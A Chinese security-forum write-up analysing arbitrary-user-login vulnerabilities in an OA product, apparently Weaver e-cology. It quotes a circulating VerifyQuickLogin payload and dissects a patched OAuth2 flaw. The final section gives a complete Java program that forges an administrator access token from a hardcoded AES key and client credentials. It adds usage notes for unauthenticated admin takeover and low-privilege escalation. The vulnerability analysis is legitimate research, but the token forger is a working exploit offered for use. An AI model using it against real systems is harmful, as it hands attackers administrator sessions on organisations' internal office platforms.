某微OA-任意用户登录研究分析记录,介绍踩坑网传漏洞和发现刚补丁漏洞的过程记录。
0x00 前言
在攻防演练期间,大家都有所耳闻,听到过某OA的存在任意用户登录的漏洞,可能听说最多的还都是/mobile/plugin/VerifyQuickLogin.jsp这个接口,而且传的有头有尾的,像是真的0day一样。然后在复现过程中一定会发现:啊,这影响的资产也太少了吧,甚至没有。
大多数网传payload都是这样的:
URL: /mobile/plugin/VerifyQuickLogin.jsp
payload: identifier=1&language=1&ipaddress=
0x01 VerifyQuickLogin任意登录分析
首先,这个应该不是最近暴的0day,最早出现poc的时候,是今年的3月份,链接如下:
该大佬已在2022年3月23日的时候将poc上传到了GitHub。
1.1 VerifyQuickLogin接口
接下来进行分析:
(1)首先是各种参数的获取过程

(2)带入ps.login进行登录,传入的参数有:identifier, language和ipaddress

(3)跟进ps.login方法,实现如下:

这里可以看到,var3也就是ipaddress参数的传入值,肯定不能为空,网传的payload到这就错了。
(4)sessionKey被返回给前端

经过一系列处理后,直接返回给了前端。
所以这第一步的利用应该是这样的:

然而也返回了一个ecology_JSessionid,这个是不能用的。

所以还需要第二步,/mobile/plugin/plus/login/LoingFromEb.jsp接口来配合。
1.2 LoingFromEb.jsp配合
当想分析这个的时候,发现我的安装版本竟然都没这个文件。
我的版本:

然后在互联网上,看到了这个漏洞的利用方式,链接如下:
https://www.yuque.com/u2276855/hqe792/exrd16

1.3 总结
我看语雀上文章的配图里面获取sessionKey的截图已经是2021年的图了。
而且,我扫了些,并没有看到任何存在该漏洞的网站。(poc只验证2.1步骤,未发现能获取到sessionKey的),失望。
加上我手里几个版本的代码里面都没有那个LoingFromEb.jsp的文件,这个漏洞是什么时候修复的,就不太清楚了。
我手里最早的代码,2020.09.10的安全配置里边,就设置了该接口需要登录了,如下:

所以,该漏洞应该比较古老,可能有2年左右了,也可能是我复现过程有问题,欢迎大家评论区指正。
0x02 oauth2下的任意用户登录
如果说没有任意用户登录的话,也有点太片面了,于是我下载了最新的补丁包2022.08.05那个,对比了补丁文件,在WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForWeb0704.class中,倒是也发现了一处刚补丁的任意用户登录。
该补丁首次出现在v10.48的补丁包里面,在v10.54补丁包里面做了修改。

可以看到,他在里面禁用了/api/integration/oauth2/下的三个接口,并且拦截说明是漏洞利用,那么我们之间找到接口进行分析。
漏洞在com.api.integration.web.OAuth2ServerAction中,

该路径下,实现了三个接口,正常的逻辑大概是:
authorize接口生成一个code -> accessToken接口根据当前登录的用户id,生成一个token -> profile查询token对应的用户信息,并set-cookie。
其中第一步是与漏洞无关的,我们重点关注第二、第三步。
2.1 accessToken接口
部分不太重要的逻辑,就省略掉了,直接到重点:

(1)从请求中获取当前用户
(2)判断用户不为空
(3)设置var13,值为client_id、client_secret、时间戳和uid的组合
其中client_id和client_secret是写死的,如下:

(4)带入AES加密,密钥是youkongjian
现在知道了accessToken的加密过程了,而且其中未涉及不可控值,所以存在伪造的机会。
2.2 profile接口
(1)获取client_id、client_secret和access_token,并解密:

将解密后的字符串根据|分割成数组。
(2)如果当前用户为空,或uid与access_token不一致,则重新创建session,并将access_token中的用户uid写入session。

(3)查询uid对应用户,将信息返回前端

2.3 总结
可以看出,accessToken接口说明了access_token的加密过程,在profile接口进行解密,直接创建了新的session,从而导致漏洞存在。看效果图:

返回的ecology_JSessionid为管理员的sessionid。测试cookie是否有效:

2.4 payload
你们最期待的东西。
import com.sun.crypto.provider.SunJCE;
import sun.security.provider.Sun;
import javax.crypto.\*;
import javax.crypto.spec.SecretKeySpec;
import java.security.\*;
public class userLogin {
public static void main(String\[\] args) {
String access\_token = encrypt("2ad1b008-38ed-44e4-a113-ef1ee31407c1|L68GFSAH3EBT|"\+ System.currentTimeMillis() +"|1","youkongjian");
System.out.print(access\_token);
}
public static String encrypt(String var0, String var1) {
byte\[\] var2 = null;
try {
KeyGenerator var3 = KeyGenerator.getInstance("AES");
SecureRandom var4 = SecureRandom.getInstance("SHA1PRNG");
var4.setSeed(var1.getBytes());
var3.init(128, var4);
SecretKey var5 = var3.generateKey();
byte\[\] var6 = var5.getEncoded();
SecretKeySpec var7 = new SecretKeySpec(var6, "AES");
Cipher var8 = Cipher.getInstance("AES", "SunJCE");
byte\[\] var9 = var0.getBytes();
var8.init(1, var7);
var2 = var8.doFinal(var9);
} catch (NoSuchProviderException var10) {
var10.printStackTrace();
} catch (NoSuchAlgorithmException var11) {
var11.printStackTrace();
} catch (NoSuchPaddingException var12) {
var12.printStackTrace();
} catch (InvalidKeyException var13) {
var13.printStackTrace();
} catch (IllegalBlockSizeException var14) {
var14.printStackTrace();
} catch (BadPaddingException var15) {
var15.printStackTrace();
}
return var2 == null ? "" : parseByte2HexStr(var2);
}
private static String parseByte2HexStr(byte\[\] var0) {
StringBuffer var1 = new StringBuffer();
for(int var2 = 0; var2 < var0.length; ++var2) {
String var3 = Integer.toHexString(var0\[var2\] & 255);
if (var3.length() == 1) {
var3 = '0' \+ var3;
}
var1.append(var3.toUpperCase());
}
return var1.toString();
}
}
运行后,会生成access_token.

2.5 利用说明
该漏洞利用有两种方式:
1.低版本的ecology中未修复Api绕过鉴权的方法,可以使用该方法绕过鉴权访问到接口,从而实现未授权访问get admin
2.修复Api绕过鉴权后的版本~v10.48之间,可以用低权限用户调用该接口,实现用户提权,获得管理员权限。
- 本文作者: Alivin
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1810
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!